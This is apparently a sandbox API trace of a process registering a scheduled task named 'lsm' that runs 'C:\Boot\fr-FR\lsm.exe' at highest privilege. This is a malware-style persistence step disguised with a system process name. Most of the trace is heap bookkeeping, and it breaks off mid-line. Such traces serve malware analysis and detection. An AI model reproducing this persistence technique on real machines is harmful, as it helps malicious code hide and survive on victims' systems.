[0083.807] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x16) returned 0x1cd660 [0083.807] GetLocalTime (in: lpSystemTime=0x11c2b0 | out: lpSystemTime=0x11c2b0*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x8, wMilliseconds=0xa4)) [0083.808] GetLocalTime (in: lpSystemTime=0x11cb68 | out: lpSystemTime=0x11cb68*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x8, wMilliseconds=0xa4)) [0083.808] lstrlenW (lpString="") returned 0 [0083.808] lstrlenW (lpString="") returned 0 [0083.808] lstrlenW (lpString="") returned 0 [0083.808] lstrlenW (lpString="") returned 0 [0083.808] lstrlenW (lpString="") returned 0 [0083.808] lstrlenW (lpString="") returned 0 [0083.808] lstrlenW (lpString="") returned 0 [0083.808] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0083.992] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0084.058] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x11c930 | out: ppv=0x11c930*=0x39dee0) returned 0x0 [0084.070] TaskScheduler:ITaskService:Connect (This=0x39dee0, serverName=0x11ca10*(varType=0x8, wReserved1=0x11, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x11c9d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x11c9f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11c9b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0084.186] TaskScheduler:IUnknown:AddRef (This=0x39dee0) returned 0x2 [0084.186] TaskScheduler:ITaskService:GetFolder (in: This=0x39dee0, Path=0x0, ppFolder=0x11cac8 | out: ppFolder=0x11cac8*=0x387ca0) returned 0x0 [0084.189] TaskScheduler:ITaskService:NewTask (in: This=0x39dee0, flags=0x0, ppDefinition=0x11cac0 | out: ppDefinition=0x11cac0*=0x387cf0) returned 0x0 [0084.189] ITaskDefinition:get_Actions (in: This=0x387cf0, ppActions=0x11ca40 | out: ppActions=0x11ca40*=0x387db0) returned 0x0 [0084.189] IActionCollection:Create (in: This=0x387db0, Type=0, ppAction=0x11ca60 | out: ppAction=0x11ca60*=0x386140) returned 0x0 [0084.189] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.189] lstrlenW (lpString="'C:\\Boot\\fr-FR\\lsm.exe'") returned 23 [0084.189] lstrlenW (lpString=" ") returned 1 [0084.189] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0084.189] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x42) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x46) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x6d) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0084.190] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0084.190] IUnknown:Release (This=0x386140) returned 0x1 [0084.190] IUnknown:Release (This=0x387db0) returned 0x1 [0084.190] ITaskDefinition:get_Triggers (in: This=0x387cf0, ppTriggers=0x11c5c0 | out: ppTriggers=0x11c5c0*=0x387ef0) returned 0x0 [0084.190] ITriggerCollection:Create (in: This=0x387ef0, Type=9, ppTrigger=0x11c5b8 | out: ppTrigger=0x11c5b8*=0x3861b0) returned 0x0 [0084.191] IUnknown:QueryInterface (in: This=0x3861b0, riid=0xff901c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x11c5b0 | out: ppvObject=0x11c5b0*=0x3861b0) returned 0x0 [0084.191] IUnknown:Release (This=0x3861b0) returned 0x2 [0084.191] _vsnwprintf (in: _Buffer=0x11c500, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x11c4d8 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0084.191] ITrigger:put_StartBoundary (This=0x3861b0, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0084.191] lstrlenW (lpString="") returned 0 [0084.191] lstrlenW (lpString="") returned 0 [0084.191] lstrlenW (lpString="") returned 0 [0084.191] lstrlenW (lpString="") returned 0 [0084.191] IUnknown:Release (This=0x3861b0) returned 0x1 [0084.191] IUnknown:Release (This=0x387ef0) returned 0x1 [0084.191] ITaskDefinition:get_Settings (in: This=0x387cf0, ppSettings=0x11ca60 | out: ppSettings=0x11ca60*=0x385f80) returned 0x0 [0084.191] lstrlenW (lpString="") returned 0 [0084.191] IUnknown:Release (This=0x385f80) returned 0x1 [0084.191] GetLocalTime (in: lpSystemTime=0x11c918 | out: lpSystemTime=0x11c918*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0x8, wMilliseconds=0x22a)) [0084.191] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0084.192] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0084.192] GetUserNameW (in: lpBuffer=0x11c940, pcbBuffer=0x11c928 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x11c928) returned 1 [0084.192] ITaskDefinition:get_RegistrationInfo (in: This=0x387cf0, ppRegistrationInfo=0x11c910 | out: ppRegistrationInfo=0x11c910*=0x387e30) returned 0x0 [0084.192] IRegistrationInfo:put_Author (This=0x387e30, Author="") returned 0x0 [0084.192] _vsnwprintf (in: _Buffer=0x11c940, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x11c8d8 | out: _Buffer="2023-09-19T17:17:08") returned 19 [0084.192] IRegistrationInfo:put_Date (This=0x387e30, Date="") returned 0x0 [0084.193] IUnknown:Release (This=0x387e30) returned 0x1 [0084.193] malloc (_Size=0x18) returned 0x3862a0 [0084.193] free (_Block=0x3862a0) [0084.193] lstrlenW (lpString="") returned 0 [0084.193] ITaskDefinition:get_Principal (in: This=0x387cf0, ppPrincipal=0x11cb30 | out: ppPrincipal=0x11cb30*=0x386090) returned 0x0 [0084.193] IPrincipal:put_RunLevel (This=0x386090, RunLevel=1) returned 0x0 [0084.193] IUnknown:Release (This=0x386090) returned 0x1 [0084.193] malloc (_Size=0x18) returned 0x3862a0 [0084.193] ITaskFolder:RegisterTaskDefinition (in: This=0x387ca0, Path="lsm", pDefinition=0x387cf0, flags=6, UserId=0x11cbb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x11cbf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11eac0, varVal2=0xfe), LogonType=3, sddl=0x11cbd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x11cad0 | out: ppTask=0x11cad0*=0x386440) returned 0x0 [0084.738] free (_Block=0x3862a0) [0084.738] _memicmp (_Buf1=0x1cbb90, _Buf2=0xff901b08, _Size=0x7) returned 0 [0084.739] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0084.739] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0084.739] GetProcessHeap () returned 0x1b0000 [0084.739] GetProcessHeap () returned 0x1b0000 [0084.739] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd680) returned 1 [0084.739] GetProcessHeap () returned 0x1b0000 [0084.739] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd680) returned 0xe [0084.739] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd680 | out: hHeap=0x1b0000) returned 1 [0084.739] GetProcessHeap () returned 0x1b0000 [0084.739] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x82) returned 0x1e9a90 [0084.739] _vsnwprintf (in: _Buffer=0x11d210, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x11ca78 | out: _Buffer="SUCCESS: The scheduled task \"lsm\" has successfully been created.\n") returned 65 [0084.739] _fileno (_File=0x7feffe22ab0) returned -2 [0084.739] _errno () returned 0x384bb0 [0084.739] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0084.739] SetLastError (dwErrCode=0x6) [0084.739] lstrlenW (lpString="SUCCESS: The scheduled task \"lsm\" has successfully been created.\n") returned 65 [0084.740] GetConsoleOutputCP () returned 0x0 [0084.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"lsm\" has successfully been created.\n", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0084.740] GetConsoleOutputCP () returned 0x0 [0084.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"lsm\" has successfully been created.\n", cchWideChar=65, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"lsm\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 65 [0084.740] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 65 [0084.740] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0084.740] IUnknown:Release (This=0x386440) returned 0x0 [0084.740] TaskScheduler:IUnknown:Release (This=0x387cf0) returned 0x0 [0084.741] TaskScheduler:IUnknown:Release (This=0x387ca0) returned 0x0 [0084.741] TaskScheduler:IUnknown:Release (This=0x39dee0) returned 0x1 [0084.741] lstrlenW (lpString="") returned 0 [0084.741] GetProcessHeap () returned 0x1b0000 [0084.741] GetProcessHeap () returned 0x1b0000 [0084.741] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc430) returned 1 [0084.741] GetProcessHeap () returned 0x1b0000 [0084.741] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc430) returned 0x1fc [0084.741] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc430 | out: hHeap=0x1b0000) returned 1 [0084.741] GetProcessHeap () returned 0x1b0000 [0084.742] GetProcessHeap () returned 0x1b0000 [0084.742] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd600) returned 1 [0084.742] GetProcessHeap () returned 0x1b0000 [0084.742] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd600) returned 0x16 [0084.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd600 | out: hHeap=0x1b0000) returned 1 [0084.742] GetProcessHeap () returned 0x1b0000 [0084.742] GetProcessHeap () returned 0x1b0000 [0084.742] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd5e0) returned 1 [0084.742] GetProcessHeap () returned 0x1b0000 [0084.742] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd5e0) returned 0x18 [0084.742] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd5e0 | out: hHeap=0x1b0000) returned 1 [0084.742] GetProcessHeap () returned 0x1b0000 [0084.742] GetProcessHeap () returned 0x1b0000 [0084.742] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce70) returned 1 [0084.742] GetProcessHeap () returned 0x1b0000 [0084.742] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cce70) returned 0x20 [0084.743] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cce70 | out: hHeap=0x1b0000) returned 1 [0084.743] GetProcessHeap () returned 0x1b0000 [0084.743] GetProcessHeap () returned 0x1b0000 [0084.743] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc0f0) returned 1 [0084.743] GetProcessHeap () returned 0x1b0000 [0084.743] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc0f0) returned 0xa0 [0084.743] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc0f0 | out: hHeap=0x1b0000) returned 1 [0084.743] GetProcessHeap () returned 0x1b0000 [0084.743] GetProcessHeap () returned 0x1b0000 [0084.743] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb70) returned 1 [0084.744] GetProcessHeap () returned 0x1b0000 [0084.744] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbb70) returned 0x18 [0084.744] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb70 | out: hHeap=0x1b0000) returned 1 [0084.744] GetProcessHeap () returned 0x1b0000 [0084.744] GetProcessHeap () returned 0x1b0000 [0084.744] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc30) returned 1 [0084.744] GetProcessHeap () returned 0x1b0000 [0084.744] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccc30) returned 0x20 [0084.744] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc30 | out: hHeap=0x1b0000) returned 1 [0084.744] GetProcessHeap () returned 0x1b0000 [0084.744] GetProcessHeap () returned 0x1b0000 [0084.744] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7c20) returned 1 [0084.744] GetProcessHeap () returned 0x1b0000 [0084.744] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c7c20) returned 0x30 [0084.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7c20 | out: hHeap=0x1b0000) returned 1 [0084.745] GetProcessHeap () returned 0x1b0000 [0084.745] GetProcessHeap () returned 0x1b0000 [0084.745] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd620) returned 1 [0084.745] GetProcessHeap () returned 0x1b0000 [0084.745] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd620) returned 0x18 [0084.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd620 | out: hHeap=0x1b0000) returned 1 [0084.745] GetProcessHeap () returned 0x1b0000 [0084.745] GetProcessHeap () returned 0x1b0000 [0084.745] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc00) returned 1 [0084.745] GetProcessHeap () returned 0x1b0000 [0084.745] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccc00) returned 0x20 [0084.745] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc00 | out: hHeap=0x1b0000) returned 1 [0084.745] GetProcessHeap () returned 0x1b0000 [0084.745] GetProcessHeap () returned 0x1b0000 [0084.746] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7ba0) returned 1 [0084.746] GetProcessHeap () returned 0x1b0000 [0084.746] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c7ba0) returned 0x32 [0084.746] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c7ba0 | out: hHeap=0x1b0000) returned 1 [0084.746] GetProcessHeap () returned 0x1b0000 [0084.746] GetProcessHeap () returned 0x1b0000 [0084.746] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc410) returned 1 [0084.746] GetProcessHeap () returned 0x1b0000 [0084.746] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc410) returned 0x18 [0084.746] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc410 | out: hHeap=0x1b0000) returned 1 [0084.746] GetProcessHeap () returned 0x1b0000 [0084.746] GetProcessHeap () returned 0x1b0000 [0084.746] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccbd0) returned 1 [0084.746] GetProcessHeap () returned 0x1b0000 [0084.746] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccbd0) returned 0x20 [0084.747] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccbd0 | out: hHeap=0x1b0000) returned 1 [0084.747] GetProcessHeap () returned 0x1b0000 [0084.747] GetProcessHeap () returned 0x1b0000 [0084.747] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3f0) returned 1 [0084.747] GetProcessHeap () returned 0x1b0000 [0084.747] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc3f0) returned 0xe [0084.747] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3f0 | out: hHeap=0x1b0000) returned 1 [0084.747] GetProcessHeap () returned 0x1b0000 [0084.747] GetProcessHeap () returned 0x1b0000 [0084.747] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3d0) returned 1 [0084.747] GetProcessHeap () returned 0x1b0000 [0084.747] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc3d0) returned 0x18 [0084.747] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc3d0 | out: hHeap=0x1b0000) returned 1 [0084.747] GetProcessHeap () returned 0x1b0000 [0084.747] GetProcessHeap () returned 0x1b0000 [0084.747] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5df0) returned 1 [0084.747] GetProcessHeap () returned 0x1b0000 [0084.747] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5df0) returned 0x20 [0084.748] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5df0 | out: hHeap=0x1b0000) returned 1 [0084.748] GetProcessHeap () returned 0x1b0000 [0084.748] GetProcessHeap () returned 0x1b0000 [0084.748] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbcf0) returned 1 [0084.748] GetProcessHeap () returned 0x1b0000 [0084.748] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbcf0) returned 0x208 [0084.748] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbcf0 | out: hHeap=0x1b0000) returned 1 [0084.748] GetProcessHeap () returned 0x1b0000 [0084.748] GetProcessHeap () returned 0x1b0000 [0084.748] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb50) returned 1 [0084.748] GetProcessHeap () returned 0x1b0000 [0084.748] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbb50) returned 0x18 [0084.748] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb50 | out: hHeap=0x1b0000) returned 1 [0084.749] GetProcessHeap () returned 0x1b0000 [0084.749] GetProcessHeap () returned 0x1b0000 [0084.749] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5d00) returned 1 [0084.749] GetProcessHeap () returned 0x1b0000 [0084.749] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5d00) returned 0x20 [0084.749] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5d00 | out: hHeap=0x1b0000) returned 1 [0084.749] GetProcessHeap () returned 0x1b0000 [0084.749] GetProcessHeap () returned 0x1b0000 [0084.749] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd3a0) returned 1 [0084.749] GetProcessHeap () returned 0x1b0000 [0084.749] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cd3a0) returned 0x200 [0084.750] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cd3a0 | out: hHeap=0x1b0000) returned 1 [0084.750] GetProcessHeap () returned 0x1b0000 [0084.750] GetProcessHeap () returned 0x1b0000 [0084.750] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb90) returned 1 [0084.750] GetProcessHeap () returned 0x1b0000 [0084.750] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbb90) returned 0x18 [0084.750] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbb90 | out: hHeap=0x1b0000) returned 1 [0084.750] GetProcessHeap () returned 0x1b0000 [0084.750] GetProcessHeap () returned 0x1b0000 [0084.750] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c70) returned 1 [0084.750] GetProcessHeap () returned 0x1b0000 [0084.750] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5c70) returned 0x20 [0084.751] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5c70 | out: hHeap=0x1b0000) returned 1 [0084.751] GetProcessHeap () returned 0x1b0000 [0084.751] GetProcessHeap () returned 0x1b0000 [0084.751] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc300) returned 1 [0084.751] GetProcessHeap () returned 0x1b0000 [0084.751] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc300) returned 0x14 [0084.751] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc300 | out: hHeap=0x1b0000) returned 1 [0084.751] GetProcessHeap () returned 0x1b0000 [0084.751] GetProcessHeap () returned 0x1b0000 [0084.751] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc2e0) returned 1 [0084.751] GetProcessHeap () returned 0x1b0000 [0084.751] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc2e0) returned 0x18 [0084.751] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc2e0 | out: hHeap=0x1b0000) returned 1 [0084.751] GetProcessHeap () returned 0x1b0000 [0084.751] GetProcessHeap () returned 0x1b0000 [0084.751] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5bb0) returned 1 [0084.751] GetProcessHeap () returned 0x1b0000 [0084.751] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5bb0) returned 0x20 [0084.752] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5bb0 | out: hHeap=0x1b0000) returned 1 [0084.752] GetProcessHeap () returned 0x1b0000 [0084.752] GetProcessHeap () returned 0x1b0000 [0084.752] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc320) returned 1 [0084.752] GetProcessHeap () returned 0x1b0000 [0084.752] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc320) returned 0x16 [0084.752] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc320 | out: hHeap=0x1b0000) returned 1 [0084.752] GetProcessHeap () returned 0x1b0000 [0084.752] GetProcessHeap () returned 0x1b0000 [0084.752] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc1a0) returned 1 [0084.752] GetProcessHeap () returned 0x1b0000 [0084.752] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc1a0) returned 0x18 [0084.752] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc1a0 | out: hHeap=0x1b0000) returned 1 [0084.752] GetProcessHeap () returned 0x1b0000 [0084.752] GetProcessHeap () returned 0x1b0000 [0084.752] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b80) returned 1 [0084.752] GetProcessHeap () returned 0x1b0000 [0084.752] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5b80) returned 0x20 [0084.753] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b80 | out: hHeap=0x1b0000) returned 1 [0084.753] GetProcessHeap () returned 0x1b0000 [0084.753] GetProcessHeap () returned 0x1b0000 [0084.753] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbad0) returned 1 [0084.753] GetProcessHeap () returned 0x1b0000 [0084.753] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cbad0) returned 0x2 [0084.753] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cbad0 | out: hHeap=0x1b0000) returned 1 [0084.753] GetProcessHeap () returned 0x1b0000 [0084.753] GetProcessHeap () returned 0x1b0000 [0084.753] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c59d0) returned 1 [0084.753] GetProcessHeap () returned 0x1b0000 [0084.753] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c59d0) returned 0x20 [0084.754] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c59d0 | out: hHeap=0x1b0000) returned 1 [0084.754] GetProcessHeap () returned 0x1b0000 [0084.754] GetProcessHeap () returned 0x1b0000 [0084.754] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a00) returned 1 [0084.754] GetProcessHeap () returned 0x1b0000 [0084.754] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5a00) returned 0x20 [0084.754] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a00 | out: hHeap=0x1b0000) returned 1 [0084.754] GetProcessHeap () returned 0x1b0000 [0084.754] GetProcessHeap () returned 0x1b0000 [0084.754] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a30) returned 1 [0084.754] GetProcessHeap () returned 0x1b0000 [0084.754] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5a30) returned 0x20 [0084.755] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a30 | out: hHeap=0x1b0000) returned 1 [0084.755] GetProcessHeap () returned 0x1b0000 [0084.755] GetProcessHeap () returned 0x1b0000 [0084.755] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a60) returned 1 [0084.755] GetProcessHeap () returned 0x1b0000 [0084.755] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c5a60) returned 0x20 [0084.756] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5a60 | out: hHeap=0x1b0000) returned 1 [0084.756] GetProcessHeap () returned 0x1b0000 [0084.756] GetProcessHeap () returned 0x1b0000 [0084.756] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1ccc60) returned 1 [0084.756] GetProcessHeap () returned 0x1b0000 [0084.756] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1ccc60) 